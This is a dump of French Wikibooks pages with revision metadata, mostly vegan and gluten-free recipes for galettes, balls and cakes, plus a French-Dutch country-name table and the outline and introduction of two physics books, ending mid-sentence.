citron-orange 4902 18454 2005-08-04T19:53:07Z Sarvok 270 ==Ingrédients== * 50g farine riz-millet * 2dL lait soja (ou autre lait) * 50g fécule de maïs, 100g sucre * 70g margarine * sel * 50g de morceaux d'écorce d'orange confite * 50g de morceaux d'écorce de citron confite * 100g raisins secs (lavés) * 1 sachet de levure sans gluten '''Pour le glaçage''' : * jus d'un demi-citron * 100g de sucre glace sans amidon. ==Préparation== * Préchauffer le four th.5. * Mélanger la farine, le sucre, le sel, la vanille, la margarine, et le lait soja, jusqu'à obtenir une pâte lisse. Ajouter les agrumes confits et les raisins secs. Juste avant la cuisson, ajouter la levure et bien mélanger. * Verser dans un moule anti-adhésif. Cuire au four th.5 pendant 45 min environ. * Une fois cuit, démouler délicatement : le gâteau est fragile. ''' Glaçage''' : * Mélanger le jus du demi-citron et le sucre glace, puis étaler sur le gâteau tiède. Wikilivres:À propos 4904 18480 2005-08-04T21:09:19Z Greudin 1 #REDIRECT[[Wikilivres]] #REDIRECT[[Wikilivres:Wikilivres]] Les pays (néerlandais) 4905 40057 2006-04-12T19:05:20Z 84.196.65.27 {{Néerlandais-Page-Suivante|Prec=Les couleurs|Suiv=Guide de conversation|TDM=Guide de conversation}} Voici la liste complète des pays de la planète: {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Code<BR>ISO ! Francais ! Néerlandais |- |AD||Andorre||Andorra |- |AE||Émirats arabes unis||Verenigde Arabische Emiraten |- |AF||Afghanistan||Afghanistan |- |AG||Antigua-et-Barbuda||Antigua en Barbuda |- |AI||Anguilla||Anguilla |- |AL||Albanie||Albanië |- |AM||Arménie||Armenië |- |AN||Antilles néerlandaises||Nederlandse Antillen |- |AO||Angola||Angola |- |AQ||Antarctique||Antarctica |- |AR||Argentine||Argentinië |- |AS||Samoa américaines||Amerikaans Samoa |- |AT||Autriche||Oostenrijk |- |AU||Australie||Australië |- |AW||Aruba||Aruba |- |AX||Îles Åland||Ålandeilanden |- |AZ||Azerbaïdjan||Azerbeidzjan |- |BA||Bosnie-Herzégovine||Bosnië-Herzegovina |- |BB||Barbade||Barbados |- |BD||Bangladesh||Bangladesh |- |BE||'''Belgique'''||'''België''' |- |BF||Burkina Faso||Burkina Faso |- |BG||Bulgarie||Bulgarije |- |BH||Bahreïn||Bahrein |- |BI||Burundi||Burundi |- |BJ||Bénin||Benin |- |BM||Bermudes||Bermuda |- |BN||Brunei||Brunei |- |BO||Bolivie||Bolivia |- |BR||Brésil||Brazilië |- |BS||Bahamas||Bahama's |- |BT||Bhoutan||Bhutan |- |BV||Île Bouvet||Bouvet |- |BW||Botswana||Botswana |- |BY||Biélorussie||Wit-Rusland |- |BZ||Belize||Belize |- |CA||'''Canada'''||'''Canada''' |- |CC||Îles Cocos||Cocoseilanden |- |CD||République démocratique du Congo<BR>(ex-Zaïre)||Democratische Republiek Congo<BR>(ex-Zaire) |- |CF||République centrafricaine||Centraal-Afrikaanse Republiek |- |CG||Congo||Republiek Congo |- |CH||Suisse||Zwitserland |- |CI||Côte d'Ivoire||Ivoorkust |- |CK||Îles Cook||Cookeilanden |- |CL||Chili||Chili |- |CM||Cameroun||Kameroen |- |CN||Chine||Volksrepubliek China |- |CO||Colombie||Colombia |- |CR||Costa Rica||Costa Rica |- |CS||Serbie-et-Monténégro||Servië en Montenegro |- |CU||Cuba||Cuba |- |CV||Cap-Vert||Kaapverdië |- |CX||Île Christmas (Australie)||Christmaseiland |- |CY||Chypre ||Cyprus |- |CZ||République tchèque||Tsjechië |- |DE||'''Allemagne'''||'''Duitsland''' |- |DJ||Djibouti||Djibouti |- |DK||'''Danemark'''||'''Denemarken''' |- |DM||Dominique ||Dominica |- |DO||République dominicaine||Dominicaanse Republiek |- |DZ||Algérie||Algerije |- |EC||Équateur ||Ecuador |- |EE||Estonie||Estland |- |EG||Égypte||Egypte |- |EH||Sahara occidental||Westelijke Sahara |- |ER||Érythrée||Eritrea |- |ES||'''Espagne'''||'''Spanje''' |- |ET||Éthiopie||Ethiopië |- |FI||Finlande||Finland |- |FJ||Îles Fidji||Fijieilanden |- |FK||Îles Malouines||Falklandeilanden |- |FM||Micronésie ||Micronesië |- |FO||Îles Féroé||Faeröereilanden |- |FR||'''France'''||'''Frankrijk''' |- |GA||Gabon||Gabon |- |GB||'''Royaume-Uni'''||'''Verenigd Koninkrijk''' |- |GD||Grenade ||Grenada |- |GE||Géorgie ||Georgië |- |GF||Guyane française||Frans-Guyana |- |GH||Ghana||Ghana |- |GI||Gibraltar||Gibraltar |- |GL||Groenland||Groenland |- |GM||Gambie||Gambia |- |GN||Guinée||Guinee |- |GP||Guadeloupe||Guadeloupe |- |GQ||Guinée équatoriale||Equatoriaal Guinea |- |GR||'''Grèce'''||'''Griekenland''' |- |GS||Géorgie du Sud<BR>Îles Sandwich du Sud||Zuid-Georgië<BR>de Zuidelijke Sandwicheilanden |- |GT||Guatemala||Guatemala |- |GU||Guam||Guam |- |GW||Guinée-Bissau||Guinee-Bissau |- |GY||Guyana||Guyana |- |HK||Hong Kong||Hongkong |- |HM||Île Heard et<BR> îles McDonald||Heard- en<BR> McDonaldeilanden |- |HN||Honduras||Honduras |- |HR||Croatie||Kroatië |- |HT||Haïti||Haiti |- |HU||Hongrie||Hongarije |- |ID||Indonésie||Indonesië |- |IE||Irlande ||Ierland |- |IL||Israël||Israël |- |IM||Ile de Man||Isle of Man |- |IN||Inde||India |- |IO||Territoire britannique<BR> de l'océan Indien||Brits Indische<BR> Oceaan Territorium |- |IQ||Irak||Irak |- |IR||Iran||Iran |- |IS||Islande||IJsland |- |IT||'''Italie'''||'''Italië''' |- |JM||Jamaïque||Jamaica |- |JO||Jordanie||Jordanië |- |JP||Japon||Japan |- |KE||Kenya||Kenia |- |KG||Kirghizstan||Kirgizië |- |KH||Cambodge||Cambodja |- |KI||Kiribati||Kiribati |- |KM||Union des Comores||Comoren |- |KN||Saint-Christophe-et-Niévès<BR>Saint Kitts et Nevis||Saint Kitts en Nevis |- |KP||Corée du Nord||Noord-Korea |- |KR||Corée du Sud||Zuid-Korea |- |KW||Koweït||Koeweit |- |KY||Îles Caïmanes||Caymaneilanden |- |KZ||Kazakhstan||Kazachstan |- |LA||Laos||Laos |- |LB||Liban||Libanon |- |LC||Sainte-Lucie||Saint Lucia |- |LI||Liechtenstein||Liechtenstein |- |LK||Sri Lanka||Sri Lanka |- |LR||Liberia||Liberia |- |LS||Lesotho||Lesotho |- |LT||Lituanie||Litouwen |- |LU||Grand-Duché du '''Luxembourg'''||Groothertogdom '''Luxemburg''' |- |LV||Lettonie||Letland |- |LY||Libye||Libië |- |MA||Maroc||Marokko |- |MC||Monaco||Monaco |- |MD||Moldavie||Republiek Moldavië |- |MG||Madagascar||Madagaskar |- |MH||Marshall ||Marshalleilanden |- |MK||République yougoslave de Macédoine<BR>(ancienne République yougoslave de Macédoine)||Republiek Macedonië |- |ML||Mali||Mali |- |MM||Birmanie||Myanmar |- |MN||Mongolie||Mongolië |- |MO||Macao||Macao |- |MP||Îles Mariannes du Nord||Noordelijke Marianen |- |MQ||Martinique||Martinique |- |MR||Mauritanie||Mauritanië |- |MS||Montserrat||Montserrat |- |MT||Malte||Malta |- |MU||Maurice ||Mauritius |- |MV||Maldives||Maldiven |- |MW||Malawi||Malawi |- |MX||Mexique||Mexico |- |MY||Malaisie||Maleisië |- |MZ||Mozambique||Mozambique |- |NA||Namibie||Namibië |- |NC||Nouvelle-Calédonie||Nieuw-Caledonië |- |NE||Niger||Niger |- |NF||Île Norfolk||Norfolkeiland |- |NG||Nigeria||Nigeria |- |NI||Nicaragua||Nicaragua |- |NL||Pays-Bas||Nederland |- |NO||Norvège||Noorwegen |- |NP||Népal||Nepal |- |NR||Nauru||Nauru |- |NU||Niue||Niue |- |NZ||Nouvelle-Zélande||Nieuw-Zeeland |- |OM||Oman||Oman |- |PA||Panama||Panama |- |PE||Pérou||Peru |- |PF||Polynésie française||Frans-Polynesië |- |PG||Papouasie-Nouvelle-Guinée||Papoea-Nieuw-Guinea |- |PH||Philippines||Filipijnen |- |PK||Pakistan||Pakistan |- |PL||Pologne||Polen |- |PM||Saint-Pierre-et-Miquelon||Saint-Pierre en Miquelon |- |PN||Pitcairn||Pitcairn |- |PR||Porto Rico||Puerto Rico |- |PS||Palestine||Palestina |- |PT||Portugal||Portugal |- |PW||Palaos||Palau |- |PY||Paraguay||Paraguay |- |QA||Qatar||Qatar |- |RE||Réunion||Réunion |- |RO||Roumanie||Roemenië |- |RU||'''Russie'''||'''Rusland''' |- |RW||Rwanda||Rwanda |- |SA||Arabie saoudite||Saoedi-Arabië |- |SB||Îles Salomon||Salomonseilanden |- |SC||Seychelles||Seychellen |- |SD||Soudan||Sudan |- |SE||Suède||Zweden |- |SG||Singapour||Singapore |- |SH||Sainte-Hélène||Sint-Helena |- |SI||Slovénie||Slovenië |- |SJ||Svalbard et île Jan Mayen||Svalbard |- |SK||Slovaquie||Slowakije |- |SL||Sierra Leone||Sierra Leone |- |SM||Saint-Marin||San Marino |- |SN||Sénégal||Senegal |- |SO||Somalie||Somalië |- |SR||Suriname||Suriname |- |ST||Sao Tomé-et-Principe||Sao Tomé en Principe |- |SV||Salvador||El Salvador |- |SY||Syrie||Syrië |- |SZ||Swaziland||Swaziland |- |TC||Îles Turques et Caïques||Turks- en Caicoseilanden |- |TD||Tchad||Tsjaad |- |TF||Terres australes et antarctiques françaises||Franse Zuidelijke Gebieden |- |TG||Togo||Togo |- |TH||Thaïlande||Thailand |- |TJ||Tadjikistan||Tadzjikistan |- |TK||Tokelau||Tokelau |- |TL||Timor oriental||Oost-Timor |- |TM||Turkménistan||Turkmenistan |- |TN||Tunisie||Tunesië |- |TO||Tonga||Tonga (Polynesië) |- |TR||Turquie||Turkije |- |TT||Trinité-et-Tobago||Trinidad en Tobago |- |TV||Tuvalu||Tuvalu |- |TW||Taiwan||Taiwan |- |TZ||Tanzanie||Tanzania |- |UA||Ukraine||Oekraïne |- |UG||Ouganda||Oeganda |- |UM||Îles mineures éloignées des États-Unis||Kleine Pacifische eilanden van de Verenigde Staten |- |US||'''États-Unis d'Amérique'''||'''Verenigde Staten van Amerika''' |- |UY||Uruguay||Uruguay |- |UZ||Ouzbékistan||Oezbekistan |- |VA||État de la Cité du Vatican||Vaticaanstad |- |VC||Saint-Vincent-et-les Grenadines||Saint Vincent en de Grenadines |- |VE||Venezuela||Venezuela |- |VG||Îles Vierges britanniques||Britse Maagdeneilanden |- |VI||Îles Vierges des États-Unis||Amerikaanse Maagdeneilanden |- |VN||Viêt Nam||Vietnam |- |VU||Vanuatu||Vanuatu |- |WF||Wallis-et-Futuna||Wallis en Futuna |- |WS||Samoa||Samoa |- |YE||Yémen||Jemen |- |YT||Mayotte||Mayotte |- |ZA||Afrique du Sud||Zuid-Afrika |- |ZM||Zambie||Zambia |- |ZW||Zimbabwe||Zimbabwe |} {{Néerlandais-Page-Suivante|Prec=Les couleurs|Suiv=Guide de conversation|TDM=Guide de conversation}} Pays (néerlandais) 4906 18495 2005-08-04T23:29:30Z Laurent Bouvier 425 Pays (néerlandais) déplacé vers Les pays (néerlandais) #redirect [[Les pays (néerlandais)]] Cuisine:Hamburger au Tofu 4907 18527 2005-08-05T07:48:00Z Sarvok 270 ==1ere variante== ===Ingrédients=== * 300g de tofu ferme * 1 tasse de flocons d'avoine * 0,5 tasse de germes de blé * 1 oignon * 2 cuillères à thé de poudre d'oignon * 2 cuillères à thé de sauce de soja * 0,5 cuillère à thé de sel, basilic, poudre d’ail, poivre noir, huile. ===Préparation=== * Mélangez tous les ingrédients ensemble dans un mixer. * Une fois que la farce est prête, divisez-la en 6 portions. Huilez une plaque recouverte d’une feuille d’aluminium et disposez ces portions aplaties en forme de galettes dans un four chaud pendant 25 min. ==Variante== ===Ingrédients=== * 200g de tofu * 1 gousse d’ail hachée * 1 cuillère à soupe de jus de citron * 1 oignon haché * 2 pommes de terre râpées * 4 tranches de pain * 2 cuillères à soupe de levure maltée en paillettes * 1 cuillères à soupe de concentré de tomates * sel, poivre * 3 pointes de couteau de curry * huile végétale. ===Préparation=== * Mixer tous les ingrédients en une purée fine et homogène. Modeler de petites galettes, que vous ferez dorer à l’huile quelques min de chaque côté. Cuisine:Paella végétalienne 4908 18530 2005-08-05T07:52:02Z Sarvok 270 ==Ingrédients== * 500g de tomates pelées et coupées en morceaux * 200g de haricots verts coupés en deux * 300g de petits pois écossés * 250g carottes coupées en dés * 10 petit oignons nouveaux * 250g de champignons de Paris émincés * 2 poivrons rouges coupés en fines lanières * 10 cuillèrs à soupe de riz complet long * 1 cuillères à soupe d’ail haché * 1 cuillères à soupe de persil haché * sel, safran, huile d’olive. * 100g d’olives noires dénoyautées ==Préparation== * Faire cuire le riz 25 min à l’eau. * Mettre successivement dans la cocotte, les tomates, les oignons, l’ail, les haricots, les carottes, les petits pois, les poivrons, les champignons, le riz et une pointe de safran. Faire cuire à feu très doux pendant 2 h.. 30 min avant la fin de la cuisson, ajouter les olives. * Au moment de servir, ajouter 1 cuillère à soupe d’huile d’olive et saler. Servir chaud. Cuisine:Boulettes de lentilles 4909 18532 2005-08-05T07:57:29Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 100g de lentilles rouges (ou corail) * 200mL de bouillon de légumes * 1 oignon émincé * 1 gousse d’ail hachée * persil, sel, poivre, chapelure, huile de friture. ==Préparation== * Porter le bouillon de légumes à ébullition, y jeter les lentilles (après les avoir soigneusement rincées et triées) puis laisser mijoter entre 15 et 20 min, jusqu’à ce que les lentilles soient cuites, en remuant régulièrement. * Laisser ensuite refroidir la préparation, puis lui ajouter l’oignon, le persil et l’ail hachés, ainsi que les épices. Ajouter de la chapelure si la préparation est trop humide, former des boulettes, et les faire dorer dans l’huile de friture. * Servir ces boulettes avec un gratin de millet, ou avec une autre céréale (boulgour, blé, etc.) nappée de sauce tomate. Cuisine:Boulettes de millet 4910 18533 2005-08-05T08:00:46Z Sarvok 270 {{Livre de cuisine}} ==Version originale== ===Ingrédients=== * 100g de millet * 250mL d’eau * 50g de carottes râpées * 50g de courgettes râpées * 1 oignon émincé * persil haché, sel, poivre, chapelure, huile de friture. ===Préparation=== * Porter l’eau à ébullition, y jeter le millet puis laisser mijoter pendant 15 min environ, en remuant régulièrement. * Laisser ensuite refroidir la préparation, puis lui ajouter les légumes râpés et hachés, ainsi que les épices. Si la préparation est trop mouillée, ajouter suffisamment de chapelure pour pouvoir modeler de petites boulettes. Plongez-les ensuite dans l’huile de friture pour qu’elles soient bien dorées. * Vous pouvez servir ces boulettes avec une salade verte garnie de noix, ou avec une sauce blanche aux champignons. ==Variante== ===Ingrédients=== * 150g de millet * 1 cuillère à soupe d’huile d’arachide * 2 carottes en petits dés * 400mL d’eau * quelques tiges d’oignons nouveaux * 0,25 cuillère à thé de curcuma * 0,25 cuillère à thé de cannelle * 0,5 cuillère à thé de curry * 0,5 cuillère à thé de coriandre moulue * chapelure ou miettes de pain, sel, poivre. ===Préparation=== * Chauffer l’huile dans une casserole et y faire dorer les épices, jusqu’à ce qu’elles dégagent un arôme puissant. Ajouter les grains de millet et les dés de carottes et laisser cuire quelques instants. Verser l’eau, porter à ébullition puis baisser le feu et laisser cuire 15 min sur feu doux. * Laisser ensuite refroidir complètement. Couper finement les tiges d’oignons, les incorporer à la préparation, et rectifier l’assaisonnement. Ajouter suffisamment de chapelure pour former des boulettes de 5cm de diamètre, qui ne collent pas aux mains. Frire les boulettes à la grande friture, et servir aussitôt. Cuisine:Boulettes aux noix de cajou 4911 18534 2005-08-05T08:02:16Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 50g de noix de cajou moulues * 25 de chapelure de pain * 1 oignon * 1 branche de céleri * 1 carotte * 2 cuillères à soupe de tamari * 1 tasse d'eau * thym, persil ==Préparation== * Hachez finement l’oignon, ainsi que la branche de céleri. Râpez la carotte. Mélangez tous les ingrédients et façonnez des boulettes. Déposez chaque boulette sur une plaque à cuisson préalablement huilée. * Faites cuire à 180°C pendant 20 min en les retournant à la mi-cuisson. Cuisine:Boulettes de noix en ragoût 4912 18535 2005-08-05T08:04:03Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 1 oignon haché * 1 poivron émincé * 4 pommes de terre en dés * 100g de noix grossièrement écrasées * 6 cuillères à soupe de farine * 1 cuillère à soupe d’huile de noix * 0,2 tasse de lait de soja non sucré * 1 cuillère à thé de paprika * sel, poivre * 3 cuillères à thé de fécule de maïs diluée dans un peu d’eau * 1 cuillère à soupe d’huile d’olive. ==Préparation== * Faire rissoler le paprika dans l’huile d’olive et y faire blondir ensuite l’oignon haché. Ajouter le poivron émincé, les pommes de terre en dés et recouvrir d’eau (ou de bouillon végétal). Assaisonner, porter à ébullition puis baisser le feu et laisser mijoter 30 min. * Mélanger dans une terrine les noix, la farine, l’huile de noix et le lait de soja et pétrir pour obtenir une pâte homogène. Diviser cette masse en petites boulettes (2,5 cm de diamètre) et les ajouter à la cocotte en les immergeant dans le bouillon. Laissez la cocotte au coin du feu pendant 30 min encore, ou si vous le pouvez, arrêtez la cuisson et réchauffez le plat le lendemain, il n’en sera que meilleur. * Au moment de servir, ajouter dans la cocotte la fécule diluée dans l’eau, pour lier la sauce. Physique Quantique 4913 25996 2005-11-24T17:39:41Z Marc 66 = Introduction = [[Catégorie:Physique]] = Le comportement quantique = == Expérience avec des particules == == Expérience avec des ondes == == Expérience avec des électrons == == Premiers principes de la mécanique quantique == == Le principe d'indétermination == = Ondes ou particules ? : Quantons = == Amplitudes de probabilités == == Mesure de la position et de l'impulsion == == Diffraction == == La dimension d'un atome == == Les niveaux d'énergie == = Système de particules identiques = == Bosons et Fermions == == Etats à 2 bosons == == Etats à n bosons == == Emission et absorption de photons == == Le spectre du corps noir == == L'hélium liquide == == Le principe d'exclusion de Pauli == = Le Spin = == L'expérience de Stern et Gerlach == == Etats d'un système quantique == == Transformations == == Rotations autour de Z == == Rotations autour de Y == == Rotations autour de X == = Dépendances temporelles = == Etats stationnaires == == Mouvement uniforme == == Energie potentielle et conservation de l'énergie == == Les forces == = Le Hamiltonien = == Amplitudes et vecteurs d'état == == Résolution des vecteurs d'état == == Evolution temporelle des états quantiques == == La matrice Hamiltonien == = Systèmes quantiques à 2 états = = L'Equation de Schrödinger = = L'Equation de Klein Gordon = = L'Equation de Dirac = = Symétries et lois de conservation = Cuisine:Galettes de tofu 4914 18540 2005-08-05T08:17:26Z Sarvok 270 {{Livre de cuisine}} ==Version Originale== ===Ingrédients=== * 250g de tofu * 1 oignon haché * 1 gousse d’ail écrasée * 1 bouquet de persil * sel, poivre, huile d’arachide. ===Préparation=== * Mixer le tofu, l’ail, l’oignon et le persil, de manière à obtenir une pâte souple. Assaisonner selon le goût. Former de petites galettes rondes, de 1cm d’épaisseur. Faire chauffer l’huile dans une poêle et dorer les galettes 10 min de chaque côté. ==Variante== ===Ingrédients=== * 250g de tofu * 1 cuillère à soupe de farine complète * 1 verre de flocons de blé, avoine ou orge * 1 échalote émincée * 2 gousses ail haché * 1 cuillère à soupe de tamari * 2 cuillère à thé de moutarde au citron * 2 cuillères à thé de graines de sésame ===Préparation=== * Mélangez intimement tous les ingrédients. Faites cuire à feu vif de chaque côté à la poêle dans très peu d'huile. Cuisine:Galettes d’avoine 4915 18541 2005-08-05T08:18:50Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 1 oignon haché * 1 tomate en dés * 3 cuillères à soupe de levure maltée en paillettes * 200g de flocons d’avoine * sel, poivre, paprika, eau * farine, chapelure, huile d’arachide. ==Préparation== * Mélanger les ingrédients secs en y ajoutant de l’eau, à fin d’obtenir une pâte. Laisser mariner au frigo quelques h.. * Ajoutez un peu de farine pour sécher la pâte, déposez-la en petites boules dans la chapelure, les enrober et les aplatir en galettes. Rissolez dans l’huile quelques instants de chaque côté. Cuisine:Galettes aux noix et flocons d’avoine 4916 18542 2005-08-05T08:20:23Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 100g de flocons d’avoine * 50g de noix pilées * 1 gousse d’ail hachée * 25cL de bouillon de légumes * 0,5 cuillère à thé de miso * 1 cuillère à thé de sauce de soja * noix de muscade, sel, poivre, chapelure, huile d’arachide. ==Préparation== * Porter le bouillon à ébullition avec la sauce de soja, le miso et l’ail haché. Y verser les flocons, porter à ébullition puis laisser mijoter 20 min à petit feu. * Laisser refroidir. Ajouter les noix à la préparation ainsi que les épices et suffisamment de chapelure pour former de petites galettes. Rissoler dans l’huile quelques min de chaque côté. * Vous pouvez servir ces galettes avec une sauce à l’oignon et au curry et des pommes de terre nature ou des pommes frites. Cuisine:Galettes de lentilles aux graines 4917 18543 2005-08-05T08:23:02Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 100g de lentilles corail (oranges) * 200mL de bouillon de légumes * 1 échalote émincée * 25g de graines de tournesol * 25g de graines de sésame * graines de fenouil, gomasio, poivre, chapelure, huile d’arachide. ==Préparation== * Rissoler l’échalote, ajouter les lentilles (rincées) et les graines. Mouiller avec le bouillon, ajouter les épices, porter à ébullition puis laisser mijoter 12 min à feu doux. Laisser refroidir la préparation. * Ajouter suffisamment de chapelure pour former de petites galettes. Faire rissoler dans l’huile quelques min de chaque côté. * Servir avec un ragoût de légumes, ou avec une céréale saucée. Cuisine:Galettes de millet 4918 18544 2005-08-05T08:25:24Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 100g de millet * 250mL de bouillon de légumes * 1 carotte râpée * 1 pomme de terre râpée * 1 échalote hachée * 50g de graines de sésame * sel, poivre, gomasio, chapelure, huile d’arachide. ==Préparation== * Porter le bouillon à ébullition, y faire cuire le millet pendant 15 min environ en mélangeant régulièrement. Laisser refroidir. * Mélanger le millet cuit avec la pomme de terre et la carotte râpée, l’échalote, les graines de sésame et les épices. Ajouter ensuite suffisamment de chapelure pour pouvoir former de petites galettes rondes. Rissolez-les dans l’huile d’arachide quelques min de chaque côté. Cuisine:Galette de céréales aux mille facettes 4919 18545 2005-08-05T08:26:44Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 150g de flocons 5 céréales * 2 verres d'eau * carotte râpée ou reste de légumes ou champignons ou oignons. * sel, herbes de Provence, ail en poudre ==Préparation== * Dans un saladier versez les flocons de 5 céréales. Ajoutez l’eau. Salez, ajoutez quelques herbes de Provence, de l'ail en poudre, quelques carottes râpées, ou un reste de légumes. Laissez gonfler quelques min. * Faites cuire en galette pas trop épaisse dans une poêle. Faites bien dorer les deux faces. Servez avec une salade verte, un légume cuit ou simplement une sauce tomate. ''Pour une galette '''sans gluten''', utilisez des flocons de riz ou de quinoa.'' Cuisine:Galettes de haricots rouges au maïs 4920 18547 2005-08-05T08:31:24Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 200g de haricots rouges cuits * 150g de maïs * 1 oignon émincé * huile d’arachide, chapelure, sel, poivre. ==Préparation== * Mixer les haricots, leur mélanger l’oignon, le maïs et l’assaisonnement, ainsi que suffisamment de chapelure pour que l’on puisse former de petites galettes. Rissoler dans l’huile quelques min de chaque côté. * ''Vous pouvez servir ces galettes avec une céréale nappée de coulis de poivrons rouges.'' Cuisine:Galettes de pommes de terre 4921 18548 2005-08-05T08:32:41Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 4 pommes de terre * 2 oignons * ail et persil hachés, huile. ==Préparation== * Peler les pommes de terre et les oignons. Râper-les grossièrement avec une râpe en inox. * Dans un récipient, mélanger les pommes de terre et oignons râpés, l’ail et le persil hachés. Saler, poivrer. Faites chauffer un peu d’huile dans une grande poêle. Verser-y la préparation, la faire cuire et dorer des deux cotés. Vérifier que les pommes de terres soient bien cuites. * Servir la galette accompagnée d’une salade. Cuisine:Galettes de quinoa 4922 18549 2005-08-05T08:33:56Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 1 bol (type bol chinois) de quinoa cuit * 1 échalote * 1 gousse d'ail * * 1 cuillère à soupe de farine de soja * noix de muscade, persil, sel * un peu de farine de blé, un peu d'huile d'olive. ==Préparation== * Faire fondre à feu doux l'échalote hachée dans un peu d'huile d'olive ou une cuillère à soupe d'eau. Ajouter le quinoa cuit et tous les ingrédients. Bien mélanger en ajoutant un peu de farine et d'eau pour obtenir une pâte bien ferme. Former de petites galettes et les faire dorer de chaque côté dans une poêle légèrement huilée. Cuisine:Galette rapide de sarrasin 4923 18551 2005-08-05T08:35:21Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 2 cuillères à soupe de farine de soja * 6 cuillères à soupe de flocons de sarrasin * 6 cuillères à soupe de lait de riz * 2 cuillères à thé d'algues séchées ou des amandes effilées, sel. ==Préparation== * Diluer la farine de soja avec le lait de riz, ajouter les flocons, les algues et saler. Verser dans une petite poêle huilée. '' Cette galette est très rapide à faire et constitue un excellent petit déjeuner non sucré.'' Cuisine:Galettes de sarrasin 4924 18552 2005-08-05T08:37:40Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 2 cuillères à soupe de farine de blé * 350g de farine de sarrasin * 1 cuillère à soupe de farine de soja. * sel marin, muscade * 1L d'eau ==Préparation== * Mettre les farines dans un récipient. Ajouter le sel et suffisamment d'eau pour constituer une pâte épaisse. Bien mélanger afin d'obtenir une pâte lisse ayant la consistance un peu plus épaisse que la pâte à crêpes. * Huiler légèrement une poêle. Verser l'équivalent d'une petite louche de pâte dans la poêle chaude et faire cuire de chaque côté. Bien remuer la pâte avant de la mettre dans la poêle. * Garnir les galettes selon votre choix : champignons, oignons, aubergines, tomates, brocolis, … Cuisine:Galettes de riz et millet ou quinoa aux légumes 4925 18553 2005-08-05T08:40:49Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 1kg de farine de riz * 500g de farine de millet ou de quinoa * 1,5L de légumes verts émincés (feuilles de chou frisé, poireaux, blettes, épinards, salade, branches de céleri, etc.) * 2 oignons, carottes, navets, céleri boule, betterave rouge finement râpées, * ''aromates au choix'' : basilic, estragon, persil, origan, etc. * huile d'olive * 8 bonnes cuillères à soupe de farine de soja. ==Préparation== * Mettre les farines dans un récipient, ajouter tous les légumes. Remplir des moules individuels. Chauffer le four à 200°C. Mettre les galettes au four. Au bout de 50 min, arrêter le four et laisser les galettes encore 15 min dans le four. * ''Vous pouvez parsemer la surface des moules de quelques graines de cumin ou de feuilles de thym.'' Cuisine:Galettes de céréales aux carottes 4926 29250 2006-01-18T14:18:54Z Boly38 136 +oignon/2 :) {{Livre de cuisine}} ==Ingrédients== {{Recette|carotte/3|oignon/2}} * 250g de flocons de blé ou d'orge * 1 bonne cuillère à soupe de farine de soja * 3 carottes * 1 chou rave ou 1 petit chou blanc * 2 oignons * romarin réduit en poudre * paprika, sel, poivre. ==Préparation== * Mélanger les farines, le sel et l'eau pour obtenir une pâte de la consistance d'une pâte à crêpe. Râper les carottes et le chou, couper les oignons finement, les mettre dans un récipient avec le sel, le paprika et le romarin. Bien mélanger et incorporer le tout à la pâte. Laisser reposer 30 min. * Faire de petites galettes et les faire frire à la poêle dans un peu de matière grasse. Ces galettes peuvent être consommées nature ou accompagnées d'un peu de tamari ou de sauce tomate. Cuisine:Galette des rois et des reines 4927 18555 2005-08-05T08:43:59Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 2 pâtes feuilletées * 125 à 165g d'amandes en poudre * 80g de sucre en poudre * 80g de margarine végétale * 3-4 cuillères à soupe de crème soja à la vanille. ==Préparation== * Préchauffer le four a 220°C. Travailler la margarine et le sucre jusqu'à ce que le mélange soit homogène et mousseux. Ajouter les amandes en poudre, la crème soja dessert. Bien mélanger. * Étaler la frangipane au centre de la pâte posée sur une feuille de papier sulfurisé. Recouvrer avec la deuxième pâte. Retourner les bords et les souder avec un peu d'eau. Badigeonner la surface avec de l'eau ou du lait de soja pour faire dorer. Dessiner des croisillons très légèrement au couteau et piquer très légèrement la pâte à quelques endroits. * '''Cuisson''' : 40 min en retirant la feuille de cuisson après 20 min pour que la galette soit bien dorée des deux cotés. * ''Suggestions'' : ajouter des pépites de chocolat à la frangipane. Il est possible de remplacer la crème de soja dessert vanille par du lait de soja. Physique Subatomique 4928 25998 2005-11-24T17:40:18Z Marc 66 = INTRODUCTION = [[Catégorie:Physique]] La description de la matière a depuis toujours intrigué l’humanité. Vu l’immense diversité des formes que prend celle-ci à l’échelle humaine, il est tentant de penser qu’à une échelle plus petite, elle existe sous une forme plus fondamentale, voire plus simple. À tort ou à raison, l’approche scientifique s’est laissée guider par ce concept en espérant qu’une fois les briques fondamentales obtenues, il serait possible de reconstruire l’édifice jusqu’à notre échelle et même au-delà. Dans les faits, une telle reconstruction nous échappe encore... La première notion d’éléments fondamentaux nous vient des Grecs. Ils pensaient que la Nature était composée de quatre éléments: l’air, le feu, l’eau et la terre. Ces éléments (toujours chez les Grecs) furent ultérieurement remplacés par une notion simplificatrice, celle de l’[[w:atome|atome]]. Il faut toutefois mentionner que cette approche n’a pas toujours fait l’unanimité. La philosophie arabe suggérait que les propriétés d’un objet devaient être décrites globalement et non à partir de ses constituants. Malheureusement, cette approche s’est avérée être un trop grand obstacle au progrès scientifique. Le dernier siècle a vu la physique, et notamment la [[w:physique des particules|physique des particules]], faire un bond phénoménal. Une version plus moderne de l’atome a vu le jour dans laquelle celui-ci est formé de constituants plus fondamentaux. Notre perception de la matière est en constante évolution mais, pour le moment, elle révèle une structure passablement riche dont voici une description sommaire. On peut dès lors identifier certaines des particules fondamentales comme l’électron et le quark. Mais il existe d’autres particules, certaines sont toutes aussi fondamentales d’autres sont composites. = NOTIONS DE BASE = == La matière == === Les leptons === Les leptons (ainsi nommés parce que leurs 